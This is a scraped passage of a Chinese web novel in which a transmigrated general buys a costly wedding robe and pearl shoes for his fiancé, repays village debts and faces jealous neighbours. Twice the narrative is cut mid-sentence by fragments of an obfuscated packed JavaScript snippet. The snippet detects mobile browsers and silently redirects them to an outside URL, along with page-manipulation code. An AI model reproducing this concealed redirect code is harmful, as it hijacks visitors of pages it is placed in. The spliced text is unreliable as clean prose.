府城这边的布料比镇上时尚鲜艳得多,价格上虽然稍微贵了一些,邴温故还是买了两匹。他想到南锦屏身上穿的补丁摞补丁的衣衫,打算给小夫郎做几身新衣。 另外邴温故还打听到府城上有一家绣楼嫁衣做的很好,府城上稍微富裕一些的普通百姓之家,就会在那里给自家即将出嫁的小娘子或者双儿做嫁衣。 不过在邴温故他们村子里,经济水平远达不到这个标准,更多的人不过买一身红色布料,自己在家绣嫁衣。 邴温故舍不得南锦屏那么累,再说府城这边的嫁衣远比他们村里自己做的款式好看的多,这又是一辈子一次的大事,邴温故不想办的那么寒酸,令南锦屏留遗憾,就打算在绣楼中买一件成衣。 绣楼的吉服确实好看,无论是小娘子的嫁衣还是小郎君的喜服各式各样,琳琅满目,漂亮极了。 售价也很昂贵就是了,款式和料子都好的嫁衣,十两银上下。不过这个价位,在邴温故可以承受的范围内,也是邴温故目前心中能最合适的价位。 实际上,邴温故想给南锦屏买那种一寸布料就价值一两黄金的绸缎,可惜他现在没有这个实力。但邴温故暗暗发誓,以后一定要南锦屏穿上那样的衣服。 邴温故认真的一件件看去,看了很多件嫁衣虽然都很漂亮,但似乎更适合小娘子穿。 伙计一开始没在意邴温故,见他穿着破烂,不像是能买起他们绣楼东西的人,就没招待。 但是仔细观察了下,发现邴温故是真的认真在一件件挑选。 伙计这才笑呵呵问道:“郎君要买什么?” “嫁衣。”邴温故在星际可是将军,见惯的大场面多了去了,怎会被这一个小小的绣楼吓住,因此在伙计看来便显得格外落落大方,不像乡下人,穿着与表现不符。 “价位在十两银子左右的就可。”邴温故又加了一句,“要小哥儿穿的,我观这些嫁衣似乎更适合小娘子。” “小哥儿?”伙计愣了下,伙计纵然见惯了场面,也没见过谁家给小哥儿买这么贵的嫁衣。 便是府城,小哥儿的地位也很低,没办法,这是整个朝代的风气。 他家绣楼,做的都是这府城中稍微富裕一些百姓的生意,这些人家愿意给家中小娘子买十两的嫁衣,却不愿意给一个小哥儿买十两的嫁衣。 当然也有例外,那就是更加富裕人家家中的小哥儿出嫁,不过那样的人家,就不会选择他们绣楼。 还有一种情况则是,小哥儿嫁到比他们家条件更好的富商家里做妾,倒也会买好些的嫁衣。 看着面前汉子打满补丁的衣衫,伙计肯定了心中的想法。 这应该是家中小哥儿攀上高枝了。 伙计见惯了这种事,不会因此露出异样表情,继续营业式笑容道:“郎君这边请。” 伙计从后边拿出几件华丽的粉色嫁衣,做妾不比作妻,在讲究的人家看来,做妾总是上不得台面,所以粉色嫁衣都是放在后边,有人问才拿出来。 邴温故有些懵,还以为自己记错了,问道:“粉衣,我记得喜服都是大红。” “啊?”伙计也懵了,“大红那是正妻穿的,妾都穿粉衫。” 邴温故气愤了,“我夫郎当然是正夫郎!” 伙计这才反应闹了乌龙,原来是眼前这人娶亲。 不过伙计更加奇怪,眼瞅着眼前这人破衣烂衫,可不像能买起十两银嫁衣的人家。 伙计见人说人话,见鬼说鬼话,立刻改了口,“哎呦,郎君,你看我忙糊涂了,这拿错了。” 伙计赶紧又取过来几件小哥儿款式的嫁衣,有红色和绿色。 大庸的风俗就是如此,红男绿女,代表女方高嫁,不过不是所有出嫁的双儿和小娘子都配穿绿色的吉服,那得是嫁到官宦人家。普通人家还不能穿绿嫁衣,只能穿红色的。 伙计不知道邴温故属于哪种情况,虽然感觉不大可能穿绿色的嫁衣还是拿出一件应付,这也有伙计的一点小心思。 之前他拿粉衫冒犯了邴温故,故意拿绿色嫁衣找补。不管自己配不配穿,被人高看一眼总是高兴的。这就是伙计变相描补之前犯的错。 邴温故看着这些嫁衣不甚满意,“这些嫁衣十两银上下?” 伙计点头。 邴温故不高兴道:“这可不如我之前看的小娘子穿的嫁衣布料和做工好,就这值十两?你到底有没有好的,没有我可走了。” 伙计赶紧抓住邴温故,又拿了一件出来,“这件你看咋样?” 邴温故仔细瞅了瞅,这件确实不错。比墙上那些嫁衣布料做工之类的更精细许多。 “这件多少钱?”邴温故问。 “这件你要就给十一两银子。”伙计一脸肉疼道:“你别看这件嫁衣款式不是新兴的。但是我跟你讲,这件嫁衣可是咱们绣楼中顶级绣娘的手艺,本来没有十五两银子你拿不走。实在是这件嫁衣放了一年了都没卖出去,这才不得不贱卖。” 若是小娘子的嫁衣早就卖掉了,就因为是双儿穿着的款式,才没卖掉。舍得给双儿买这么贵的嫁衣的人家实在太少了。 邴温故看着款式挺好看,适合南锦屏,款式在他们那里不但不过时,还很新颖,心里就打算要了。 “十两,十两我要了。”邴温故一口价道。 “我做不得主,得问问掌柜。”伙计问了下,掌柜怕再放下去更要不上价,就同意了。 邴温故交了银子,要自己收了,被伙计拦住,伙计笑道:“郎君,这嫁衣还是由我给你包起来吧。回去后,你注意些,别让平时干粗活的手随意摸,小心勾丝。” “你这里可还有成亲穿的锦鞋?”邴温故看着伙计仔细把嫁衣包好,又问道。 “有。”伙计眼睛一亮,拿出一双绣折枝花的鞋子,“这双鞋用八种颜色绣成,鞋尖还有一颗大珍珠点缀,只要一贯三百文。别看价格有些贵了,但是平时也能穿。咱们府城上富硕些人家的郎君小哥儿都这么穿,瞧着就显尊贵。” 邴温故一眼就相中了,最后讲价到一贯买了下来。 考虑到后续还要盖房子,邴温故没再买旁的。他恨不能把全世界最好的东西都买给南锦屏,然而现在经济并不允许,只能以后慢慢给他添置了。 回去的路上,邴温故特意去了一趟隔壁县的窑厂,定下盖房子需要的青砖、灰瓦。至于所需要木料,他们村后山上有得是,可以自己去砍,村人皆是如此。 窑厂青砖便宜,每片半文钱,青砖一文半钱,多买还有的便宜。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13222642|137863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 邴温故计划盖七间青砖大瓦房,就算窑厂这边给予优惠,只用料每间房子大约就要在一贯左右,七间只青砖青瓦就要七贯之多。 窑厂不负责运输,若是要窑厂送到家,还另外付几百文的运输费,邴温故懒的自己找人往回运,差不几个钱,还得费心,一并都交给窑厂负责。 邴温故跟窑厂签订了契约,先付了三两银子,剩下的银子待到砖瓦送达再结清尾款就可。 这边用不着邴温故跟着,一切由窑厂负责,邴温故直接回家就行。 想到家中已经弹尽粮绝,邴温故便去镇上买些粮食。 邴家一般都食菽饭,菽最便宜。邴温故虽不在乎食物的味道,但是在有条件的情况下,自然还是改善一下伙食。况且他自己和邴家人的身体都需要营养。 索性这次没再买菽,买了二石栗米、二石大米以及五斗麦面。这些都是大庸普通百姓日常所食用的主食,不过对于邴家人而言却是很好的伙食了,之前邴家就这都吃不上,一直吃野菜果腹。 买粮食一共就花了一贯四百五十文。 邴家人口众多,成人就八口,小孩子吃的粮食少,加在一起算一口成人,那么就是九口成人。 一口人一月吃三斗~四斗粮食,九口人一月就要吃二石七斗~四石粮食。 邴家人食量都挺大的,原主是个例外,食量小。但现在邴温故过来了,他食量比邴家人只多不少。邴家人所有人敞开肚皮吃,一个月能吃四石粮食。邴温故买的这些粮食,就够邴家人一个月的口粮。 不过邴温故却并不担心,这些银子只是过渡罢了,等成亲后,他会想别的法子赚钱。 邴温故买的粮食多,问掌柜道:“我买了这么多,可给送?” 邴温故算大主户了,掌柜笑的见牙不见眼,一叠声道:“给送,给送。郎君若是不嫌弃咱家送粮食的驴车脏污,可坐咱家驴车回去。” 邴温故瞅了瞅自己身上这身衣服也干净不到哪里去,“不嫌弃,麻烦掌柜了。” “郎君客气了。”掌柜为了不让邴温故久等,立刻就招呼伙计拉来驴车送邴温故回村。 路上路过肉摊,考虑到家中人肚子里都缺油水,邴温故又买了十斤猪肉,花费一百五十文。 屠户摊子上还有一些剃干净的肉的皮骨袋,二斤二两,只要五文钱。这东西没有肉,拿回家熬汤还费柴火,镇上人柴火都得掏钱买,所以很少有人要。 不过邴温故觉得猪骨头熬成汤,泡饭或者煮面疙瘩都好吃,还能省菜。这么想着,索性就买了。 以前邴大郎不常出门,都窝在家中温书。所以村人都不知道邴温故出门了,故而见邴温故坐着拉粮食的驴车回来,都惊掉了下巴。 王氏看着驴车上的粮食和那显眼时髦的两匹布眼睛发直,“咋了?邴大郎,你家发财啦?” 王氏说着伸手就去抓那两匹布料,被邴温故眼疾手快的率先抢回,邴温故抱着两匹绢,“你手脏,别给我摸埋汰了。” 王氏看着自己的手,指甲缝里确实有泥,可是农家人干农活烧柴火,喂鸡鸭,有点泥巴不正常。 王氏撇嘴,“邴家大郎这是发财了,就瞧不上咱这些穷乡亲了,别忘了,你家还欠着我家十几个铜板呢。” 24.锦哥儿,我如果是你,现在立刻马上退亲 邴温故立刻就道:“待会有时间,我家借了谁家银钱,都可上门来取。” 王氏的眼睛立刻瞪的溜圆,惊诧道:“邴大郎,你这是真发财了?” 邴温故不回王氏的话,转头对伙计道:“我家还在里面,劳烦小哥还要多走几步。” 伙计知道这是客人不愿意搭理这妇人,挥着鞭子催促驴车继续前行。 王氏是个厚脸皮,她不知道羞,跟在驴车后面往邴家走。路上遇到相熟的妇人,还拉着她们一起去邴家瞧热闹。 邴家人这时候还在山上挖野菜,家里只有一个坐月子的钱氏,钱氏听到动静出来,看着伙计搬下来的东西,整个人都懵了。 “大,大哥,哪来的这么多粮食?”钱氏说话都不利索了,看着邴温故怀中的绢布更加傻了。 这玩意一匹就要一贯多钱左右,竟然一下买了两匹。省着些吃,这都够家里四个月的口粮了。 钱氏吞咽一下口水,怀疑邴温故发疯打劫了钱庄,“大,大哥,你还买绢布了?你不会抢劫了吧!” 邴温故眼神冰冷地瞥了眼钱氏,没搭理她,把绢布和包裹着嫁衣和绣鞋的包袱抱回自己房间。 这时候王氏并李氏等几个村中惯常爱说八卦的妇人走进来,王氏双眼放光地看着钱氏,八卦道:“钱氏,邴大郎哪里来的银子买东西,他是不是干坏事了?” “不知道,我还在坐月子,可不能见风,我要回屋了,就不招待你们了。”钱氏眼珠子滴溜溜转,心说,大哥真去抢劫了,也不能告诉你们呀! 然而这几个妇人可不是好打发的,钱氏本来就在月子里,身体虚弱,根本撵不走这几个没脸没皮的妇人。 不大一会儿,邴家人匆匆忙忙赶回来了。有村里人看见邴温故买了好些东西回来,就跑到山上给邴家人报信了。 梁氏人没到家,就已经知道邴温故买了好些粮食,和两匹昂贵的绢布。 刚走到门口,梁氏就看到挤在院子里不肯走的王氏等人,立刻就明白了这些人这是来她家瞧热闹来了,招呼几个儿子撵人。 王氏等人竟然还死赖着不肯走。 王氏嚷嚷道:“你家里欠了我那么多银子,现在都发财了,总该还我了吧。今个不把欠我的银子还了,我还就住下不走了。” 邴温故从屋里走出来,手里拿着一串铜钱,“娘,咱家欠她多少铜钱?” “十八文。”王氏眼睛在那串铜钱上拔不下来,还不忘回道。 梁氏几乎和王氏同时道:“十二文。” 邴温故从那一串铜钱上数了十二个下来,“这是还你的,若你非要诬赖我家借了你十八文,咱们就去衙门里辩一辩。” 王氏还真有些惧邴温故,对上他冰冷的眼神不由打个寒颤,想到村里人说他急了,亲兄弟都往死里弄,王氏更加害怕邴温故了。 王氏不敢跟邴温故耍无赖,伸手要接,半路上被梁氏拦住,“你说清楚我家到底欠了你家多少钱,不说清楚,这钱可不能给你。” “十二文总可以了吧。”王氏讪讪。 “你家可真小气,都有钱了,还差我这三瓜两枣。不过六个铜板而已。就当给我利钱了还能怎样?” 这要是别人给了就给了,但王氏绝对不行。这人没少在背地里诋毁他夫郎,一文都不能多给。 “镇上高利贷不过三成利,你这有六成了,你比高利贷还黑。”利率可不是这么算的,还得考虑年限,但是邴温故就是故意这么说,误导村人。 王氏身旁几人一听邴温故的算法唬了一跳,这才反应过来,王氏看似只是多要几个铜板,实际上却高达六成利钱,顿时看她的眼神就不对劲了。 王氏被看的羞恼不已。 梁氏把铜板塞进她怀里,推搡着人往外走,“钱还你了,赶紧走吧,我家还有正事要忙呢。” 邴家人一起把院子里的人都赶了出去。 “大郎,你银子哪里来的,你不会去借高利贷了吧?”待人走后,梁氏急忙问道。 邴家其他人都瞅向邴温故,神色担忧,等着他给出一个答案。 “娘,没有的事,莫要胡说。”邴温故道。 邴父立刻追问道:“那你怎么在这么短的时间内搞到这么多银子的?” 邴温故本就没打算瞒着邴家人,“我进深山了,在山里找到了两株珍惜的药材,拿到府城换了一些银子。当时会那么说,不过怕你们不让我进深山而已。” 这话,邴家人没有任何怀疑。最近这段时间,邴温故没少往后山上跑,带回来的野物,家里人没少跟着吃。 邴四郎一下跃跃欲试,“你能进深山,我肯定也行。说不定运气好,也能搞几株药材换些银子发发财。” 梁氏立刻就骂道:“邴四郎你敢去,腿我给你打折他!” “深山是那么好进的,那里面豺狼虎豹什么都有。头二三十年,村里有人过不下去冒险进山,再也没下来过,后来他的家人只找到了他沾血的衣角袖摆。村里人都说他是被野狼叼走了。”邴父至今还记得这事,从那以后引以为戒,再怎样都不往深山走。 邴四郎不大服气,“邴大郎一个文弱书生都没事,我还能不如他。” “事实上,你就不如你大哥厉害。”梁氏毫不客气道:“前些时候被你大哥收拾的毫无还手之力的人可不是二郎三郎。” 邴四郎面色讪讪,羞恼道:“娘,你提这个做什么。” 梁氏白了他一眼,看向邴温故,不免一阵后怕,“大郎,你可有受伤?” “无事。”邴温故怕邴家人学他进深山再出事,故意吓唬人,“遇到一只孤狼,还好我机敏,跑掉了。” 梁氏倒抽口冷气,心脏一阵砰砰乱跳,虽然是过去的事情了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13234687|137863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,可是还是出了一身冷汗。 “以后咱们家人,包括大郎,谁也不许再进后山。否则,就别认我这个爹。”邴父语气万分严厉,就怕儿子们不听话。 邴家兄弟听说邴温故真的遇到狼了,皆后知后觉地感到了危险,一个个乖乖答应不进后山。 邴温故另外又给了梁氏二十两碎银,“耶娘,你们把家里欠债还了吧,每家看着给些利钱。” 虽然他们村子邻里之间借钱从没利钱这说,但是邴家情况不同。当初愿意借钱给他家的,都算一份很重的人情了。 “好。”这种浅显的道理梁氏明白,但还是很肉疼就是了。 “对了,别忘记叫上一位村中德高望重的长辈做见证,另外再找个认字的,每还一家,让他代写一张收据,双方签字画押。咱们留个证据,以免日后扯皮。”邴温故嘱咐道。 梁氏道:“大郎,你就识文断字,还请旁人写干啥?” 邴温故无奈道:“娘,村里人大多都不认字,我写的收据他们哪里敢画押,不怕咱家作手脚呀。” 梁氏小声道:“你又不是那样的人。” 不过到底没坚持。 “对了,如果村人问起银子哪里来的,你们就说我去府城打工的路上救了一位贵人,对方赠送我的谢仪。”邴温故道。 梁氏不解,“咱家银子来的堂堂正正,为何要撒谎?” 邴温故摇摇头,“娘,就在刚才,四郎得知我在深山找到宝贝,都想跟着进山,村人会不会也有这种想法?” 原主对外的形象一直都是文弱书生,很多村里人都觉得自己比邴温故武力值高,如今见邴温故进深山安然无恙。怕会下意识的以为进深山很安全,还会觉得深山中说不定遍地是宝,很好发财。到时候发生了意外,岂不成了他的罪过。 不知道他的事情,执意进深山的人,那就跟他没关系了。是死是活,富贵与否,那是个人的缘法。 但邴温故绝对不能当那个引子。 邴家人仔细一想,觉得邴温故说的有道理,秉持着多一事不如少一事的原则,对外一致都说邴温故意外救了贵人,得了一笔谢仪。 邴家这边动静闹的挺大,惊动了村里所有人。 同在一个村中住着的南家自然也知道了。苗氏心情激动,连忙带着南锦屏出来打听情况。 母子二人刚出家门,迎面就撞上了由王氏和李氏为首组成的搅屎棍三人组。 王氏,李氏这二人,一个胳膊折了,吊在脖子上。一个腿骨折了,拄着一根棍。竟然还不忘记出来搅风搅雨,这种搞事的精神也不是一般人可比拟的。 王氏这心里正嫉妒呢,一看见苗氏和南锦屏,那些坏心思几乎立刻就涌到了嘴边。 王氏拦住苗氏和南锦屏的去路,“苗氏,锦哥儿,我如果是你们现在立刻马上就跟邴温故退亲。” 25.邴温故的爱,炽热而直白 王氏这话没头没尾,楞把苗氏和南锦屏说的一愣。 “你们不会真相信邴温故发财了吧?你们刚才是没看到,邴家明明借了我十八文愣是说成十二文,要是真发财了,还差我这六文钱。这么斤斤计较,一看就是打肿脸充胖子。”王氏张嘴就颠倒黑白,“你们不信,问李氏,她当时在现场,全都看见了。” 王氏嫉妒邴家有限,李氏才真如烈火焚心。 当初她家二娘可是嫌弃邴家穷,不惜背信弃义退了亲事,给镇上一个比她亲爹年纪还大的老头做妾。 结果转头,邴家就发财了,那么闹了这么一场的她家二娘子岂不是成了一个天大的笑话。 李氏宁愿死也绝对不肯承认邴家是真的发财了。 李氏眼睛都是红的,“王氏说的全部都是真的,她没骗你们。” 李氏看出苗氏的不信,一口咬定道:“邴大郎那钱绝不是谢仪,而是借的高利贷。” 王氏就一条胳膊能动,还跟着比比划划,不停附和。 李氏拄着棍不舒服,就把身体靠在大树上,也得继续说:“那时候我和王氏留了一个心眼,拿了还银没着急走,趴在邴家门外偷听。没想到竟然意外听到邴家人说悄悄话,那银子竟是借高利贷借来的。” 当时李氏和王氏确实躲在邴家门外偷听,也真真切切听到苗氏惊叫了一声高利贷。至于后来邴家人又说了什么,李氏就没听到了。 不过这并不妨碍李氏捕风捉影讲给南锦屏和苗氏听。 苗氏仍旧不信,“邴大郎好端端的借高利贷干什么?” “这你就猜不到了吧?”李氏信誓旦旦道:“最开始邴家并不同意你们两家的亲事,还是后来才同意的这事你们知道吧?” 邴家那事闹的那么大,邴温故差点把邴四郎弄死,村里都传遍了,南锦屏和苗氏当然听说了。 “其实邴家会同意的原因,并不是因为邴大郎差点弄死邴四郎,而是邴温故给了一个邴家人完全不能拒绝的理由。” 李氏说的就跟真的一模一样,比亲耳听到的还要真,“当时邴大郎就跟邴家人说,你家疼锦哥儿,只要他娶了锦哥儿,到时候无论是家里的外债和他赶考的盘缠你家都得帮着出。” 苗氏觉得李氏说的越来越不靠谱,她家过的什么日子,邴温故还能不知道。两家人穷的半斤八两,那就是大哥二哥。指着她家帮忙,得了,都等着饿死吧。 苗氏抓着南锦屏要走,李氏不干了,拄着拐杖拦在二人面前,王氏跟着伸手拉苗氏。这两个人都是伤患,一个瘸腿,一个残手,苗氏还真不敢用力挣扎,怕被这二人讹上。 “你听我说完。”李氏不依不饶,继续道:“邴大郎打的可是一手好算盘。他都计划好用锦哥儿威胁你们家了。如果你们家不帮着还债和出赶考的盘缠,他就会把锦哥儿卖到那种脏楼子里去。 你们家那么疼家里的小哥儿,肯定舍不得锦哥儿真出去接客,不就得如邴温故所愿。那时候为了赎回你家小哥儿,邴温故说什么就得是什么,卖房子卖地,那银子不就够邴家还债和邴温故赶考的盘缠了吗。” “胡说八道!”南锦屏怒气冲冲,他虽然跟邴温故接触没几日,严格上来讲并不了解这个人,但是他就是知道邴温故不是那样的人,更没有他们说的那么不堪。 其实这也是南锦屏第一次怼村里长辈,从前因为不愿给家里惹事的缘故,无论这些人说的多难听,南锦屏都不会同人发生争执,绕开就是了。若不然打了起来,叫苗氏知道,又该惹她心伤。 一个生而卑贱的双儿竟敢怼她,李氏怒了,“不是别有目的,你以为哪个汉子能瞧得上你一个小哥儿?” 李氏那口气,就好像南锦屏不是双儿,而是什么见不得人的脏东西。 “邴大郎就喜欢!”南锦屏不服气地大吼了一声,跑掉了。 “李氏,你长了一张嘴就会满口喷粪,是吧!”苗氏怕自己小哥儿出事,顾不得跟李氏纠缠,忙追了上去。 南锦屏一口气跑到邴家,来到邴家大门外喊道:“邴大郎……” 如今两人定了亲事,正八经的未婚夫夫,就算被人看到也不怕村人议论。 邴温故那耳朵在南锦屏这里就跟雷达似的,几乎在听到声音的瞬间,就认出这是自己小夫郎的声音,立刻蹦起来,鞋子都来不及穿好,就趿拉着跑出来。 “锦哥儿,你怎么来了?”邴温故双眼亮晶晶地瞅着南锦屏,从心底发出的欣喜任瞎子都能一眼看出来。 邴温故从不是一个感情外露的人,相反他精于攻心之计,更擅长喜怒不形于色。但是面对南锦屏的时候,邴温故只想让这人感受到他对他最直白而炽烈的情感。 大概就是这样的邴温故让南锦屏感受到了勇气,他问出那句李氏质问他,又是他最在意的话,“你,为什么会喜欢我?” “因为是你,所以喜欢。”邴温故是哨兵,哨兵和向导相互之间的吸引,那是来自灵魂的羁绊,不需要理由,于万人之中,一眼就知道那个人是自己的他,“喜欢就是喜欢,没有任何理由。你的每一处我都喜欢,从头到脚,就连每一根头发丝我都喜欢。” 喜欢之类的词语对于南锦屏而言还是太露骨了,这会儿平静下来的南锦屏都羞的脑顶都要冒烟了。 紧赶慢赶追上来的苗氏远远就听到邴温故这喜欢来喜欢去的话,老脸一红,差点歪了脚。 她跟家里老头子过半辈子了,孩子都不知道生多少个了,也没说过这么羞的话,这邴大郎怎么好意思开口说这么羞耻的话。 如果苗氏真这么问邴温故,邴温故会告诉苗氏她跟她老头子一共生了五个孩子。 苗氏甩了甩脚脖子,没伤到。瞅着背对着自己的自家小哥儿和未来儿婿,苗氏满心纠结。 想要把自家小哥儿立刻带离这个不要脸的臭流氓身边,但是一想到这个臭流氓马上就要是自家小哥儿的夫君,苗氏又不能。 如果自家锦哥儿是个小娘子,苗氏肯定毫不犹豫就把人带走了,还要狠狠教训一顿邴温故。但自家锦哥儿是个双儿,双儿这个性别自来就不讨汉子喜欢,这就导致了小哥儿比小娘子更需要牢牢抓住家里汉子的心。 种种考量在苗氏心里划过,最后苗氏只能愤愤不甘地转身离开,只当自己啥也没听到。到底还是不甘心,苗氏边走边小声骂,“臭流氓,还读书人呢,读的就是比旁人更不要脸的书。” 不过心里想的却是这读书人哄起人来就是比村里汉子有一套,难怪自家小哥儿那么短短几日就彻底沦陷了,不顾全家人反对和邴家穷的都揭不开锅了,仍一意孤行的要嫁。 转而又觉得自家小哥儿会这样情有可原,要是她在年轻的时候遇到邴温故这样的男人,怕是也遭不住。 邴温故早在苗氏还没跑到跟前的时候,就发现她了。只不过不在意,他现在在南锦屏这可是有正经名分的未婚夫夫,再不是昨日那个偷偷摸摸的‘奸夫’,凭啥不让他跟自己夫郎光明正大的讲话。 有眼色的人,看见他们未婚夫夫在这里说话,远远就应该避开。 看着苗氏掉头离开的背影,邴温故满意点头,看来他这个岳母还是有点眼力见的,知道不能打扰未婚夫夫谈情说爱。 至于苗氏的骂骂咧咧,邴温故只当自己这会儿五感失聪了,什么都没听到。 邴温故把分出去的一点注意力收回来,全部放在南锦屏身上,“锦哥儿是不是谁说你什么了,你才会这么问我?” 邴温故把南锦屏放在心上,怎么可能发现不出心上的人今个不对劲,他早在南锦屏刚开口的时候就发现了,只不过先安抚小夫郎的情绪才是首要的。 现在小夫郎情绪明显缓过来了,邴温故才询问。 “我刚才在村里遇到李氏了,她说你娶我不是真心,没有汉子能真心瞧得上我这样的小哥儿。”以前这些诋毁南锦屏从来都不跟别人说,就连苗氏他都不会讲,可是不知道为什么,他现在就是想跟邴温故讲。 “她放屁!”看来一条腿折的这是不够啊,还能出来蹦跶呢,“她那嘴就是屁股,放出来的屁奇臭无比,臭不可闻。” 南锦屏本来还挺低落,一下就被邴温故给逗笑了。 邴温故见小夫郎乐了,这才又道:“李氏就是嫉妒你。” “我有什么好嫉妒的?”南锦屏困惑,村里人可没人嫉妒他,反而都挺瞧不起他的。 “你看,你刚跟我定亲,我就有钱了,还把家里的外债全部都还清了。结果她家二娘子为了钱,却去给一个年纪能当她爹的老头子当小妾,像不像一个笑话?” 这么说的话,李氏极度不甘愤怒,甚至使坏就太正常了。 南锦屏低着头,用脚提着地上的石子。 邴温故的眼神落在南锦屏戳地上土的脚上,南锦屏的脚上穿了一双自己编的草鞋,这样的草鞋在镇上卖,才不过三文钱一双。还有一种用麻、葛编织的丝鞋,比草鞋略微贵上一点,要四五文一双。这两种鞋村里人都会编,也是村里人最常穿的两种鞋子。 “锦哥儿,你等我一下,我从府城给你带了一些东西回来,我去给你拿。”邴温故跑回自己房间,把装有嫁衣和珍珠鞋的包袱以及那两匹布都抱了出来。 “给你,锦哥儿,这都是给你买的。” 南锦屏已经看傻了,他眼花了吧,怎么看见邴温故竟然抱出两匹彩娟。 那可是彩娟呀,一匹要好多好多钱呢。 具体要多少,南锦屏不知道,他就知道好贵的。他长这么大小去过镇上的次数屈指可数,所以不大清楚这些奢侈品的物价。 在南锦屏的记忆中,小小的他从镇上布庄门口路过,远远地从门外望进去,布庄里面就有卖这种彩绢,非常好看,可是他却连进去问一嘴价格的勇气都没有。 就在南锦屏以为自己在做梦的时候,邴温故又把手里那个包袱打开,露出里面的珍珠鞋和大红嫁衣。 珍珠鞋色彩鲜艳,花色漂亮,刺绣精湛,冷 眼瞧着,就好像一朵朵鲜花盛开在鞋上。尤其是鞋尖上的那两颗珍珠,简直就是点睛之笔,令人一眼就知道这珍珠鞋价值不菲。 南锦屏只在镇上官宦之家的富贵小郎君脚上看过这种类型的鞋子,那些公子哥还有缀玉的。 “这,这要多少钱?”南锦屏懵懵地问。 “一贯。”邴温故美滋滋的跟南锦屏炫耀,还试图得到南锦屏的夸奖,“那个伙计欺负我乡下来的,管我要一贯三百文,愣是让我生生给讲下三百文。” 一贯? 南锦屏瞅着邴温故,从来不知道邴家大郎竟然还是个败家子! “还有呢,你看这件嫁衣,是不是特别漂亮,我第一眼看见的时候就觉得适合你,简直就是为你量身打造的。”邴温故喜滋滋的说着。 他把珍珠鞋塞进南锦屏怀里,自己把那件嫁衣展开给南锦屏看。 南锦屏只觉得自己眼睛都被晃了一下,那嫁衣在阳光下金光闪闪。 再仔细看去,邴温故才发现嫁衣的面料是绸缎的,闪着金光的地方是因为绣了金线。嫁衣上还用珍珠串成一朵朵花瓣,珍珠圆润,色泽极好。 如果刚才的珍珠鞋带给南锦屏的是震惊,那这件嫁衣就是震撼了。 南锦屏都不大敢问价了,也不用他问,邴温故还等着被表扬呢,自己就把自己的老底交代出去去了。 “这件嫁衣活计要我十一两银子呢,我给讲到十两。” 确定无疑了,这就是个败家爷们! 以后家里给这人当家,也不知道野菜有没有得吃。 “邴大郎,你明个拿回去退了吧,咱们村里成亲跟镇上不一样,没那么隆重。”南锦屏只当邴温故之前在镇上读书把心读虚荣了。 邴温故不知道能不能退,不管能不能退他都不会退,这才几个子,他心中想给南锦屏更贵的。 “没几个钱,而且我买的时候伙计就说这算优惠价,不给退换。” “你口气真大。”接着南锦屏喃喃,“这还优惠价,不优惠那得多少银子?” “这嫁衣跟我也不配啊,要不你拿到镇上当了吧,好歹能收回些银子,我阿娘已经给我买料子自己绣嫁衣了。” 邴温故当然不肯,“这是咱们一辈子就这一回的大事,奢侈点怎么了,又不是天天这样过日子。一辈子最重要的时刻总要风风光光的,以后老了,你我二人坐在摇椅上忆起来,不留遗憾,回忆里都是高光时刻和美好的记忆。” 邴温故自认为他能带给南锦屏的风光时刻远远不止这点,但是现在说那些都为时过早,有吹牛皮的嫌疑。 邴温故见南锦屏仍旧不愿意收,索性掀了自己老底,把自己的身家都跟南锦屏交代了。 首先要交代的就是银子的真实来源。 “其实那银子不是我救了贵人得到的谢仪,而是我在山上找到人参和灵芝。” “你进深山了?”南锦屏皱着眉头打断邴温故的话,很生气道:“深山那么危险,你竟然进深山!邴大郎,你到底有没有把我说过的话放在心上。我都说了我命不好,运气更不好,你不要做危险的事情,我怕你会被我克的出了意外……” 说着说着,南锦屏的眼圈红了。 邴温故这时候哪里顾得上那么多,赶紧上前道歉,“对不起,都是我的错,你千万别哭。我发誓我再也不进深山了好不好?你若是还生气就打我。” 邴温故说着就来抓南锦屏的手,南锦屏怎会打邴温故使劲挣扎也挣不开邴温故的桎梏,最后还是邴温故怕弄伤南锦屏才把他的手放开。 邴温故半蹲下身体,歪着头,双眼盯着南锦屏的脸,小心翼翼地观察着他的神色,“锦哥儿,你还生气吗?若是还生气的话,我就再给你打几下,多打我几下,你肯定就不生气了。” 南锦屏从没被人这么哄过,从小到大,生气又能怎样,谁有时间哄他,都是自己一个人默默在角落里消化吸收,消化不了也没办法。 所以邴温故这幅赖皮赖脸的模样,南锦屏真的拿他毫无办法,更不知道该要怎样生气了。 甚至在某一瞬间,南锦屏的脑海忽然冒出一个念头,那就是似乎只要邴温故这么继续哄他下去,早晚有一天,他会变得毫无底线,就算邴温故杀了人,他都会帮着毁尸灭迹。 不过这种念头瞬间出现,瞬间消失,一切都太快,南锦屏甚至来不及捕捉到。 “那你以后不许再进深山了,否则,否则我可真打你了。”南锦屏攥起自己的拳头,对着邴温故威胁道:“别看我是一个双儿,但是 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“我还跟窑厂定了一批砖瓦,给了三两定金,我现在手里还剩下三十四两五百文。” 南锦屏完全没想到邴温故会这么实诚的交代个底掉,一时之间,有些傻。 他再一次清晰的感受到他现在接触的这个邴大郎,跟从前远远认识的那个人完全不一样。不要说从前的邴温故了,就是村里男人也没有这么跟家里娘子汇报花销的。 